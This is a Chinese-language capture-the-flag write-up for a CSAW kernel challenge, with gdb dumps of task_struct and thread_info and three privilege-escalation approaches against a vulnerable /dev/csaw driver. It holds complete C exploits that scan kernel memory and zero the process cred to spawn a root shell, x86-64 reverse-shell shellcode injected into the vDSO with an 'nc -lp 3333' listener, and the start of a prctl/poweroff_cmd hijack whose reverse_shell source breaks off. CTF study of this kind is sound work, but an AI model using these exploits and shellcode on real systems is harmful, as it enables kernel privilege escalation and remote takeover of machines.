cred = 0xffff88000faa00c0, //This is our target
comm = "this_is_xxrw...", //This is our target
nameidata = 0x0 <irq_stack_union>,
sysvsem = {
undo_list = 0x0 <irq_stack_union>
},
sysvshm = {
shm_clist = {
next = 0xffff88000f843348,
prev = 0xffff88000f843348
}
},
last_switch_count = 0x0,
fs = 0xffff88000fa21ac0,
files = 0xffff88000d61e840,
nsproxy = 0xffffffff81e4db40 <init_nsproxy>,
signal = 0xffff88000f8c1dc0,
sighand = 0xffff88000fa33180,
blocked = {
sig = {0x0}
},
real_blocked = {
sig = {0x0}
},
saved_sigmask = {
sig = {0x0}
},
pending = {
list = {
next = 0xffff88000f8433a0,
prev = 0xffff88000f8433a0
},
signal = {
sig = {0x0}
}
},
sas_ss_sp = 0x0,
sas_ss_size = 0x0,
task_works = 0x0 <irq_stack_union>,
audit_context = 0x0 <irq_stack_union>,
loginuid = {
val = 0xffffffff
},
sessionid = 0xffffffff,
seccomp = {
mode = 0x0,
filter = 0x0 <irq_stack_union>
},
parent_exec_id = 0x5,
self_exec_id = 0x6,
alloc_lock = {
{
rlock = {
raw_lock = {
val = {
counter = 0x0
}
}
}
}
},
pi_lock = {
raw_lock = {
val = {
counter = 0x0
}
}
},
wake_q = {
next = 0x0 <irq_stack_union>
},
pi_waiters = {
rb_node = 0x0 <irq_stack_union>
},
pi_waiters_leftmost = 0x0 <irq_stack_union>,
pi_blocked_on = 0x0 <irq_stack_union>,
journal_info = 0x0 <irq_stack_union>,
bio_list = 0x0 <irq_stack_union>,
plug = 0x0 <irq_stack_union>,
reclaim_state = 0x0 <irq_stack_union>,
backing_dev_info = 0x0 <irq_stack_union>,
io_context = 0x0 <irq_stack_union>,
ptrace_message = 0x0,
last_siginfo = 0x0 <irq_stack_union>,
ioac = {
rchar = 0x1d0,
wchar = 0xde,
syscr = 0x2,
syscw = 0x8,
read_bytes = 0x0,
write_bytes = 0x0,
cancelled_write_bytes = 0x0
},
acct_rss_mem1 = 0x1b86e0,
acct_vm_mem1 = 0x1e25c600,
acct_timexpd = 0x1c3,
mems_allowed = {
bits = {0x1, 0x0 <repeats 15 times>}
},
mems_allowed_seq = {
sequence = 0x0
},
cpuset_mem_spread_rotor = 0xffffffff,
cpuset_slab_spread_rotor = 0xffffffff,
cgroups = 0xffffffff81e7b040 <init_css_set>,
cg_list = {
next = 0xffff88000f843548,
prev = 0xffff88000f843548
},
robust_list = 0x0 <irq_stack_union>,
compat_robust_list = 0x0 <irq_stack_union>,
pi_state_list = {
next = 0xffff88000f843568,
prev = 0xffff88000f843568
},
pi_state_cache = 0x0 <irq_stack_union>,
perf_event_ctxp = {0x0 <irq_stack_union>, 0x0 <irq_stack_union>},
perf_event_mutex = {
count = {
counter = 0x1
},
wait_lock = {
{
rlock = {
raw_lock = {
val = {
counter = 0x0
}
}
}
}
},
wait_list = {
next = 0xffff88000f843598,
prev = 0xffff88000f843598
},
owner = 0x0 <irq_stack_union>,
osq = {
tail = {
counter = 0x0
}
}
},
perf_event_list = {
next = 0xffff88000f8435b8,
prev = 0xffff88000f8435b8
},
mempolicy = 0x0 <irq_stack_union>,
il_next = 0x0,
pref_node_fork = 0x0,
numa_scan_seq = 0x0,
numa_scan_period = 0x3e8,
numa_scan_period_max = 0x0,
numa_preferred_nid = 0xffffffff,
numa_migrate_retry = 0x0,
node_stamp = 0x0,
last_task_numa_placement = 0x0,
last_sum_exec_runtime = 0x0,
numa_work = {
next = 0xffff88000f843608,
func = 0x0 <irq_stack_union>
},
numa_entry = {
next = 0x0 <irq_stack_union>,
prev = 0x0 <irq_stack_union>
},
numa_group = 0x0 <irq_stack_union>,
numa_faults = 0x0 <irq_stack_union>,
total_numa_faults = 0x0,
numa_faults_locality = {0x0, 0x0, 0x0},
numa_pages_migrated = 0x0,
tlb_ubc = {
cpumask = {
bits = {0x0 <repeats 128 times>}
},
flush_required = 0x0,
writable = 0x0
},
rcu = {
next = 0x0 <irq_stack_union>,
func = 0x0 <irq_stack_union>
},
splice_pipe = 0x0 <irq_stack_union>,
task_frag = {
page = 0x0 <irq_stack_union>,
offset = 0x0,
size = 0x0
},
delays = 0xffff88000fa21fc0,
nr_dirtied = 0x0,
nr_dirtied_pause = 0x20,
dirty_paused_when = 0x0,
timer_slack_ns = 0xc350,
default_timer_slack_ns = 0xc350,
curr_ret_stack = 0xffffffff,
ret_stack = 0x0 <irq_stack_union>,
ftrace_timestamp = 0x0,
trace_overrun = {
counter = 0x0
},
tracing_graph_pause = {
counter = 0x0
},
trace = 0x0,
trace_recursion = 0x0,
memcg_in_oom = 0x0 <irq_stack_union>,
memcg_oom_gfp_mask = 0x0,
memcg_oom_order = 0x0,
memcg_nr_pages_over_high = 0x0,
sequential_io = 0x0,
sequential_io_avg = 0x0,
pagefault_disabled = 0x0,
thread = {
tls_array = {{
{
{
a = 0x4880ffff,
b = 0xdff2ff
},
{
limit0 = 0xffff,
base0 = 0x4880,
base1 = 0xff,
type = 0x2,
s = 0x1,
dpl = 0x3,
p = 0x1,
limit = 0xf,
avl = 0x1,
l = 0x0,
d = 0x1,
g = 0x1,
base2 = 0x0
}
}
}, {
{
{
a = 0x0,
b = 0x0
},
{
limit0 = 0x0,
base0 = 0x0,
base1 = 0x0,
type = 0x0,
s = 0x0,
dpl = 0x0,
p = 0x0,
limit = 0x0,
avl = 0x0,
l = 0x0,
d = 0x0,
g = 0x0,
base2 = 0x0
}
}
}, {
{
{
a = 0x0,
b = 0x0
},
{
limit0 = 0x0,
base0 = 0x0,
base1 = 0x0,
type = 0x0,
s = 0x0,
dpl = 0x0,
p = 0x0,
limit = 0x0,
avl = 0x0,
l = 0x0,
d = 0x0,
g = 0x0,
base2 = 0x0
}
}
}},
sp0 = 0xffff88000f5f8000,
sp = 0xffff88000f5f7e98,
es = 0x0,
ds = 0x0,
fsindex = 0x63,
gsindex = 0x0,
fs = 0x0,
gs = 0x0,
ptrace_bps = {0x0 <irq_stack_union>, 0x0 <irq_stack_union>, 0x0 <irq_stack_union>, 0x0 <irq_stack_union>},
debugreg6 = 0x0,
ptrace_dr7 = 0x0,
cr2 = 0x0,
trap_nr = 0x0,
error_code = 0x0,
io_bitmap_ptr = 0x0 <irq_stack_union>,
iopl = 0x0,
io_bitmap_max = 0x0,
fpu = {
last_cpu = 0x0,
fpstate_active = 0x1,
fpregs_active = 0x1,
counter = 0x6,
state = {
fsave = {
cwd = 0x37f,
swd = 0x0,
twd = 0x0,
fip = 0x0,
fcs = 0x0,
foo = 0x0,
fos = 0x1f80,
st_space = {0xffff, 0x0 <repeats 19 times>},
status = 0x0
},
fxsave = {
cwd = 0x37f,
swd = 0x0,
twd = 0x0,
fop = 0x0,
{
{
rip = 0x0,
rdp = 0x0
},
{
fip = 0x0,
fcs = 0x0,
foo = 0x0,
fos = 0x0
}
},
mxcsr = 0x1f80,
mxcsr_mask = 0xffff,
st_space = {0x0 <repeats 32 times>},
xmm_space = {0xff, 0x0, 0x0, 0x0, 0x74747474, 0x74747474, 0x74747474, 0x74747474, 0x0 <repeats 13 times>, 0xff000000, 0x0, 0x0, 0x0, 0x0, 0xff, 0xff0000,
0x0 <repeats 36 times>},
padding = {0x0 <repeats 12 times>},
{
padding1 = {0x0 <repeats 12 times>},
sw_reserved = {0x0 <repeats 12 times>}
}
},
soft = {
cwd = 0x37f,
swd = 0x0,
twd = 0x0,
fip = 0x0,
fcs = 0x0,
foo = 0x0,
fos = 0x1f80,
st_space = {0xffff, 0x0 <repeats 19 times>},
ftop = 0x0,
changed = 0x0,
lookahead = 0x0,
no_update = 0x0,
rm = 0x0,
alimit = 0x0,
info = 0x0 <irq_stack_union>,
entry_eip = 0x0
},
xsave = {
i387 = {
cwd = 0x37f,
swd = 0x0,
twd = 0x0,
fop = 0x0,
{
{
rip = 0x0,
rdp = 0x0
},
{
fip = 0x0,
fcs = 0x0,
foo = 0x0,
fos = 0x0
}
},
mxcsr = 0x1f80,
mxcsr_mask = 0xffff,
st_space = {0x0 <repeats 32 times>},
xmm_space = {0xff, 0x0, 0x0, 0x0, 0x74747474, 0x74747474, 0x74747474, 0x74747474, 0x0 <repeats 13 times>, 0xff000000, 0x0, 0x0, 0x0, 0x0, 0xff, 0xff0000,
0x0 <repeats 36 times>},
padding = {0x0 <repeats 12 times>},
{
padding1 = {0x0 <repeats 12 times>},
sw_reserved = {0x0 <repeats 12 times>}
}
},
header = {
xfeatures = 0x1,
xcomp_bv = 0xffff88000fabc000,
reserved = {0x40410000000002, 0x0, 0x0, 0x2700000000, 0xfffee570, 0xffff88000d700000}
},
extended_state_area = 0xffff88000f843e80 ""
},
__padding = "\177\003", '\000' <repeats 22 times>, "\200\037\000\000\377\377", '\000' <repeats 130 times>, "\377", '\000' <repeats 15 times>, 't' <repeats 16 times>, '\000' <repeats 55 times>...
}
}
}
}

找到了real_credcredcomm相对于task_struct结构体开头的偏移。

1
2
3
4
5
task_struct_begin = 0xffff88000f842980
stack_ptr_addr = 0xffff88000f842988 offset = 0x8
real_cred_addr = 0xffff88000f843318 offset = 0x998
cred_addr = 0xffff88000f843320 offset = 0x9a0
comm = 0xffff88000f843328 offset = 0x9a8

我们还可以看到stack指针值为0xffff88000f5f4000stack指针指向thread_union结构体。

1
2
3
4
5
union thread_union
{
struct thread_info thread_info;
unsigned long stack[THREAD_SIZE/sizeof(long)];
};
1
2
3
4
5
6
7
8
9
struct thread_info {
struct task_struct *task; /* main task structure */
__u32 flags; /* low level flags */
__u32 status; /* thread synchronous flags */
__u32 cpu; /* current CPU */
mm_segment_t addr_limit;
unsigned int sig_on_uaccess_error:1;
unsigned int uaccess_err:1; /* uaccess failed */
};

其中thread_info是一个大小为0x28的结构体。其之后进程的内核栈。

在内核的某个特定组建使用了较多的栈空间时, 内核栈会溢出到thread_info部分, 因此内核提供了kstack_end函数来判断给出的地址是否位于栈的有效部分

1
2
3
4
5
6
7
8
9
#ifndef __HAVE_ARCH_KSTACK_END
static inline int kstack_end(void *addr)
{
/* Reliable end of stack detection:
* Some APM bios versions misalign the stack
*/
return !(((unsigned long)addr+sizeof(void*)-1) & (THREAD_SIZE-sizeof(void*)));
}
#endif

进程的创建:https://blog.csdn.net/gatieme/article/details/51569932

我们用_do_fork创建进程的时候, 提到dup_task_struct会复制父进程的task_structthread_info实例的内容, 但是stack则与新的thread_info实例位于同一个内存, 这意味着父子进程的task_struct此时除了栈指针之外完全相同。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
gdb-peda$ x/100xg 0xffff88000f5f4000
0xffff88000f5f4000: 0xffff88000f842980 0x0000000000000000
0xffff88000f5f4010: 0x0000000000000000 0x00007ffffffff000
0xffff88000f5f4020: 0x0000000000000000 0x0000000057ac6e9d
0xffff88000f5f4030: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f4040: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f4050: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f4060: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f4070: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f4080: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f4090: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f40a0: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f40b0: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f40c0: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f40d0: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f40e0: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f40f0: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f4100: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f4110: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f4120: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f4130: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f4140: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f4150: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f4160: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f4170: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f4180: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f4190: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f41a0: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f41b0: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f41c0: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f41d0: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f41e0: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f41f0: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f4200: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f4210: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f4220: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f4230: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f4240: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f4250: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f4260: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f4270: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f4280: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f4290: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f42a0: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f42b0: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f42c0: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f42d0: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f42e0: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f42f0: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f4300: 0xcccccccccccccccc 0xcccccccccccccccc
0xffff88000f5f4310: 0xcccccccccccccccc 0xcccccccccccccccc


gdb-peda$ p $rsp
$8 = (void *) 0xffff88000f5f7f50

gdb-peda$ p (struct thread_info)*0xffff88000f5f4000
$7 = {
task = 0xffff88000f842980,
flags = 0x0,
status = 0x0,
cpu = 0x0,
addr_limit = {
seg = 0x7ffffffff000
},
sig_on_uaccess_error = 0x0,
uaccess_err = 0x0
}

参考:https://github.com/gatieme/LDD-LinuxDeviceDrivers/blob/master/study/kernel/01-process/02-create/06-thread_info/README.md

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <fcntl.h>

#define CSAW_IOCTL_BASE 0x77617363
#define CSAW_ALLOC_CHANNEL CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL CSAW_IOCTL_BASE+8

struct alloc_channel_args {
size_t buf_size;
int id;
};

struct open_channel_args {
int id;
};

struct grow_channel_args {
int id;
size_t size;
};

struct shrink_channel_args {
int id;
size_t size;
};

struct read_channel_args {
int id;
char *buf;
size_t count;
};

struct write_channel_args {
int id;
char *buf;
size_t count;
};

struct seek_channel_args {
int id;
loff_t index;
int whence;
};

struct close_channel_args {
int id;
};


int main(){

size_t cred_addr = 0;

setvbuf(stdout,0LL,2,0LL);

char fake_str[16];
strcpy(fake_str,"this_is_xxrw...");
prctl(PR_SET_NAME,fake_str);

int fd = open("/dev/csaw",O_RDWR);
if(fd < 0){
puts("[:(]Open fail...");
exit(-1);
}
struct alloc_channel_args alloc_channel;
alloc_channel.buf_size = 0x100;
alloc_channel.id = -1;
ioctl(fd,CSAW_ALLOC_CHANNEL,&alloc_channel);
printf("[:)]This is our channel_id: %d\n",alloc_channel.id);

struct shrink_channel_args shrink_channel;
shrink_channel.id = alloc_channel.id;
shrink_channel.size = 0x100+1;
ioctl(fd,CSAW_SHRINK_CHANNEL,&shrink_channel);
puts("[:)]Now we can r&w any where we want!!!");

//char buf[0x1000];
char* buf = malloc(0x1000);
size_t target_addr = 0;
struct seek_channel_args seek_channel;
struct read_channel_args read_channel;
size_t result = 0;
size_t cred = 0;
size_t real_cred = 0;
size_t task_struct_addr = 0;
for(size_t addr = 0xffff880000000000;addr<0xffffc80000000000;addr+=0x1000){
seek_channel.id = alloc_channel.id;
seek_channel.index = addr-0x10;
seek_channel.whence = SEEK_SET;
ioctl(fd,CSAW_SEEK_CHANNEL,&seek_channel);

read_channel.id = alloc_channel.id;
read_channel.buf = buf;
read_channel.count = 0x1000;
ioctl(fd,CSAW_READ_CHANNEL,&read_channel);

result = memmem(buf,0x1000,fake_str,16);
if(result){
cred = *(size_t*)(result-8);
real_cred = *(size_t*)(result-0x10);
if(cred == real_cred){
target_addr = addr + (result-(size_t)buf);
printf("[:)]target_addr = %p\n",target_addr);
task_struct_addr = target_addr - 0x9a8;
printf("[:)]task_struct_addr = %p\n",task_struct_addr);
printf("[:)]cred_addr = %p\n",real_cred);
cred_addr = real_cred;
break;
}
}
}

struct write_channel_args write_channel;
char zero = '\x00';
for(int i = 0;i < 28;i++){
seek_channel.id = alloc_channel.id;
seek_channel.index = cred_addr-0x10+i;
seek_channel.whence = SEEK_SET;
ioctl(fd,CSAW_SEEK_CHANNEL,&seek_channel);

write_channel.id = alloc_channel.id;
write_channel.buf = &zero;
write_channel.count = 1;
ioctl(fd,CSAW_WRITE_CHANNEL,&write_channel);
}

if(getuid() == 0){
puts("[:)]Root now!!!");
system("/bin/sh");
exit(0);
}
else{
puts("[:(]Not root...");
exit(-1);
}

return 0;
}

解法二:

劫持vSDO

反弹shell:

这道题的反弹shell让我对内核有了更深的理解:

反弹shell就是别的进程打开了一个shell,本来他是可以正常输入命令与kernel交互的,但是我们把其交互的输入输出全部重定向到了我们当前的进程,等于我们控制了一个傀儡进程,我们控制傀儡进程与kernel交互的输入,获取交互后kernel反馈回的输出,也就是实际上是这个傀儡进程在与kernel交互,我们在幕后控制其话语权,所以若这个傀儡进程为root权限,则等于我们间接性的获得了以root权限与kernel交互的能力。等于完成了提权。

基本流程为:

先用getuid系统调用返回值是否为0来判断当前进程是否为root进程,若不是则会调用gettimeofday系统调用继续正常运行。若为root权限进程,则用fork()产生一个子进程,在子进程中进行正常的反弹shell,在父进程中仍然调用gettimeofday,这种反弹shell触发比较稳定,不会扰乱某root进程正常的执行流程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
nop
push rbx
xor rax,rax
mov al, 0x66
syscall #check uid
xor rbx,rbx
cmp rbx,rax
jne emulate #If not root, only emulate.

xor rax,rax
mov al,0x39
syscall #fork
xor rbx,rbx
cmp rax,rbx
je connectback

emulate:
pop rbx
xor rax,rax
mov al,0x60
syscall
retq

connectback:
xor rdx,rdx
pushq 0x1
pop rsi
pushq 0x2
pop rdi
pushq 0x29
pop rax
syscall #socket

xchg rdi,rax
push rax
mov rcx, 0xfeffff80faf2fffd #NOT'ed 127.0.0.1:3333
not rcx
push rcx
mov rsi,rsp
pushq 0x10
pop rdx
pushq 0x2a
pop rax
syscall #connect

xor rbx,rbx
cmp rax,rbx
je sh
xor rax,rax
mov al,0xe7
syscall #exit

sh:
nop
pushq 0x3
pop rsi
duploop:
pushq 0x21
pop rax
dec rsi
syscall #dup
jne duploop

mov rbx,0xff978cd091969dd0 #NOT'ed "/bin/sh"
not rbx
push rbx
mov rdi,rsp
push rax
push rdi
mov rsi,rsp
xor rdx,rdx
mov al,0x3b
syscall #execve
xor rax,rax
mov al,0xe7
syscall #exit

dump_vDSO:

vDSO是一块大小在0x2000以内的被映射到内存中的文件,里面含有四个函数/快速系统调用:clock_gettimegettimeofdaytimegetcpu。还含有四个字符串:__vdso_clock_gettime__vdso_gettimeofday__vdso_time__vdso_getcpu

我们的目标是获取到内核态中vDSO的地址。

可用如下程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/auxv.h>
#include <sys/mman.h>

int main(){

unsigned long sysinfo_ehdr = getauxval(AT_SYSINFO_EHDR);
printf("vDSO_addr = %p\n",sysinfo_ehdr);

unsigned long result = 0;
result = memmem(sysinfo_ehdr,0x1000,"gettimeofday",12);
printf("result = %p\n",result);
printf("gettimeofday_offset = %p\n",result-sysinfo_ehdr);

/*
if (sysinfo_ehdr!=0){
for (int i=0;i<0x2000;i+=1){
printf("%02x ",*(unsigned char *)(sysinfo_ehdr+i));
}
}
*/
return 0;
}

这段程序可以确定用户态的vDSO段地址,然后确定了gettimeofday这个字符串所在的偏移,再到内核中利用任意地址读对0xffffffff80000000~0xffffffffa0000000区域进行爆破,用上述程序得到的偏移offset进行检测:if(!strcmp("gettimeofday",addr+offset)),得到vDSO内核态基址之后,就可以在gdb中动态调试,用dump memory将其dump下来:dump memory ./vDSO.dump 内核态vDSO基址 内核态vDSO基址+0x2000。然后可以将dump下来的vDSO.dump文件放进ida或者用objdump查看其中函数代码段的偏移,在内核态将shellcode注入对应地址再到用户态调用即可。

x1.PNG

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <sys/auxv.h>

#define CSAW_IOCTL_BASE 0x77617363
#define CSAW_ALLOC_CHANNEL CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL CSAW_IOCTL_BASE+8

struct alloc_channel_args {
size_t buf_size;
int id;
};

struct open_channel_args {
int id;
};

struct grow_channel_args {
int id;
size_t size;
};

struct shrink_channel_args {
int id;
size_t size;
};

struct read_channel_args {
int id;
char *buf;
size_t count;
};

struct write_channel_args {
int id;
char *buf;
size_t count;
};

struct seek_channel_args {
int id;
loff_t index;
int whence;
};

struct close_channel_args {
int id;
};


int check_shellcode(char* shellcode){
size_t addr = getauxval(AT_SYSINFO_EHDR);
if(addr == 0){
puts("[:(]Get vSDO_addr in userspace fail...");
}
else{
printf("[:)]vSDO_addr in userspace = %p\n",addr);
}
if(memmem(addr,0x1000,shellcode,strlen(shellcode))){
return 1;
}
return 0;
}

int main(){
size_t vDSO_addr = 0;

setvbuf(stdout,0LL,2,0LL);

int fd = open("/dev/csaw",O_RDWR);
if(fd < 0){
puts("[:(]Open fail...");
exit(-1);
}
struct alloc_channel_args alloc_channel;
alloc_channel.buf_size = 0x100;
alloc_channel.id = -1;
ioctl(fd,CSAW_ALLOC_CHANNEL,&alloc_channel);
printf("[:)]This is our channel_id: %d\n",alloc_channel.id);

struct shrink_channel_args shrink_channel;
shrink_channel.id = alloc_channel.id;
shrink_channel.size = 0x100+1;
ioctl(fd,CSAW_SHRINK_CHANNEL,&shrink_channel);
puts("[:)]Now we can r&w any where we want!!!");

char *buf = malloc(0x1000);
struct seek_channel_args seek_channel;
struct read_channel_args read_channel;
for(size_t addr=0xffffffff80000000;addr<0xffffffffffffefff;addr+=0x1000){
seek_channel.id = alloc_channel.id;
seek_channel.index = addr-0x10;
seek_channel.whence = SEEK_SET;
ioctl(fd,CSAW_SEEK_CHANNEL,&seek_channel);

read_channel.id = alloc_channel.id;
read_channel.buf = buf;
read_channel.count = 0x1000;
ioctl(fd,CSAW_READ_CHANNEL,&read_channel);

if(!strcmp("gettimeofday",buf+0x2cd)){
vDSO_addr = addr;
printf("[:)]vDSO_addr in kernelspace = %p\n",vDSO_addr);
break;
}
}

seek_channel.id = alloc_channel.id;
seek_channel.index = vDSO_addr+0xc80-0x10;
seek_channel.whence = SEEK_SET;
ioctl(fd,CSAW_SEEK_CHANNEL,&seek_channel);

struct write_channel_args write_channel;
char shellcode[] = "\x90\x53\x48\x31\xC0\xB0\x66\x0F"
"\x05\x48\x31\xDB\x48\x39\xC3\x75"
"\x0F\x48\x31\xC0\xB0\x39\x0F\x05"
"\x48\x31\xDB\x48\x39\xD8\x74\x09"
"\x5B\x48\x31\xC0\xB0\x60\x0F\x05"
"\xC3\x48\x31\xD2\x6A\x01\x5E\x6A"
"\x02\x5F\x6A\x29\x58\x0F\x05\x48"
"\x97\x50\x48\xB9\xFD\xFF\xF2\xFA"
"\x80\xFF\xFF\xFE\x48\xF7\xD1\x51"
"\x48\x89\xE6\x6A\x10\x5A\x6A\x2A"
"\x58\x0F\x05\x48\x31\xDB\x48\x39"
"\xD8\x74\x07\x48\x31\xC0\xB0\xE7"
"\x0F\x05\x90\x6A\x03\x5E\x6A\x21"
"\x58\x48\xFF\xCE\x0F\x05\x75\xF6"
"\x48\x31\xC0\x50\x48\xBB\xD0\x9D"
"\x96\x91\xD0\x8C\x97\xFF\x48\xF7"
"\xD3\x53\x48\x89\xE7\x50\x57\x48"
"\x89\xE6\x48\x31\xD2\xB0\x3B\x0F"
"\x05\x48\x31\xC0\xB0\xE7\x0F\x05";
write_channel.id = alloc_channel.id;
write_channel.buf = shellcode;
write_channel.count = strlen(shellcode);
ioctl(fd,CSAW_WRITE_CHANNEL,&write_channel);

if(check_shellcode(shellcode)){
puts("[:)]Write shellcode success!!!");
if(fork() == 0){
puts("[:)]Trigger shell!!!");
sleep(1);
void (*gettimeofday)();
gettimeofday = 0xc80 + getauxval(AT_SYSINFO_EHDR);
gettimeofday();
exit(-1);
}
system("nc -lp 3333");
}
else{
puts("[:(]Write shellcode fail...");
exit(0);
}

return 0;
}

解法三:

劫持prctl

寻找偏移:

这道题需要找偏移的变量为:

  • poweroff_cmd,一个可写的字符串全局变量。
  • hp->hook.task_prctl,一个函数指针,需要动态调试。
  • poweroff_work_func,一个函数。

有源码:

自己下载对应版本的源码自行编译得到带符号表的vmlinuxbzImage,将vmlinux放到内核源码下(不要移动即可),将bzImage替换题目给的bzImage,这里需要注意的是即使内核版本一样偏移也会有小的差异,如果bzImagevmlinux不配套的话,调试的时候会发生很诡异的事情,请自行尝试: )。

然后就可以对内核函数直接下断点,因为有符号表了,看结构体也方便的多了,可以用prctl这个函数来在中间某处断下exp,看中间变量的值是否写入成功等。

无源码:

懒得下载编译源码,闲太麻烦了的话,可以先用root权限进入qemu,然后cat /proc/kallsyms | grep symbols_you_want_to_get来找你要的变量或者函数的加载地址,然后cat /proc/kallsyms | grep startup_64来看内核代码加载基址,相减确定偏移即可。

若是像找hp->hook.task_prctl这种需要动态调试到现场才可看到,则可以用上一步得到的函数地址来在gdb里先下好断点(因为没有符号表,所以只能先用root看到地址再下断点),然后c到那里,然后单步跳到对应的函数调用汇编语句,例如这题是call qword ptr [rbx+0x18],再看寄存器确定偏移即可。

反弹shell:

这道题最终的调用为:call_usermodehelper(poweroff_cmd),我们这时已经将poweroff_cmd改为可控字符串了。call_usermodehelper()会运行poweroff_cmd这个进程,且赋予其root权限。所以等于这个函数帮助我们完成了提权,所以这时候我们可以选择运行一个我们自己编译好的正常的反弹shell程序,也可以直接将flag的权限变为777

reverse_shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
